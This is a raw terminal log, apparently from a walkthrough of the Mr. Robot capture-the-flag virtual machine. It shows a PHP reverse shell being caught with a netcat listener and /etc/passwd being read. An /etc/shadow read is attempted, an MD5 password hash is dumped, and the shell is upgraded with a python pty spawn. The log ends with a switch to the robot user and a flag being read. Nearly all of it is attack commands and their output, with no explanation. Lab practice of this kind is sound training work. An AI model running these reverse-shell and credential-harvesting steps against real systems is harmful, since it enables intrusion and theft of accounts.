┌──(kali㉿kali)-[~]

└─$ cd Desktop

┌──(kali㉿kali)-[~/Desktop]

└─$ cd Mr.\ Robot

┌──(kali㉿kali)-[~/Desktop/Mr. Robot]

└─$ ls

fsocity.dic wordlists.txt

┌──(kali㉿kali)-[~/Desktop/Mr. Robot]

└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

┌──(kali㉿kali)-[~/Desktop/Mr. Robot]

└─$ ls

fsocity.dic php-reverse-shell.php wordlists.txt

┌──(kali㉿kali)-[~/Desktop/Mr. Robot]

└─$ nc -nvlp 1234

listening on [any] 1234 ...

connect to [10.0.2.15] from (UNKNOWN) [10.0.2.7] 33257

Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86\_64 x86\_64 x86\_64 GNU/Linux

09:38:59 up 18 min, 0 users, load average: 0.00, 0.01, 0.05

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

uid=1(daemon) gid=1(daemon) groups=1(daemon)

/bin/sh: 0: can't access tty; job control turned off

$ id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

$ whoami

daemon

$ uname -a

Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86\_64 x86\_64 x86\_64 GNU/Linux

$ pwd

/

$ ls

bin

boot

dev

etc

home

initrd.img

lib

lib64

lost+found

media

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

var

vmlinuz

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

libuuid:x:100:101::/var/lib/libuuid:

syslog:x:101:104::/home/syslog:/bin/false

sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin

ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false

bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami\_ftp\_false

mysql:x:1001:1001::/home/mysql:

varnish:x:999:999::/home/varnish:

robot:x:1002:1002::/home/robot:

$ cat /etc/shadow

cat: /etc/shadow: Permission denied

$ ls

bin

boot

dev

etc

home

initrd.img

lib

lib64

lost+found

media

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

var

vmlinuz

$ cd /home

$ la

/bin/sh: 10: la: not found

$ ls

robot

$ ls robot

key-2-of-3.txt

password.raw-md5

$ ls -la

total 12

drwxr-xr-x 3 root root 4096 Nov 13 2015 .

drwxr-xr-x 22 root root 4096 Sep 16 2015 ..

drwxr-xr-x 2 root root 4096 Nov 13 2015 robot

$ cd robot

$ ls

key-2-of-3.txt

password.raw-md5

$ ls -la

total 16

drwxr-xr-x 2 root root 4096 Nov 13 2015 .

drwxr-xr-x 3 root root 4096 Nov 13 2015 ..

-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt

-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5

$ cat password.raw-md5

robot:c3fcd3d76192e4007dfb496cca67e13b

$ su robot

su: must be run from a terminal

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

daemon@linux:/home/robot$ su robot

su robot

Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ id

id

uid=1002(robot) gid=1002(robot) groups=1002(robot)

robot@linux:~$ whoami

whoami

robot

robot@linux:~$ ls

ls

key-2-of-3.txt password.raw-md5

robot@linux:~$ cat key-2-of-3.txt

cat key-2-of-3.txt

822c73956184f694993bede3eb39f959

robot@linux:~$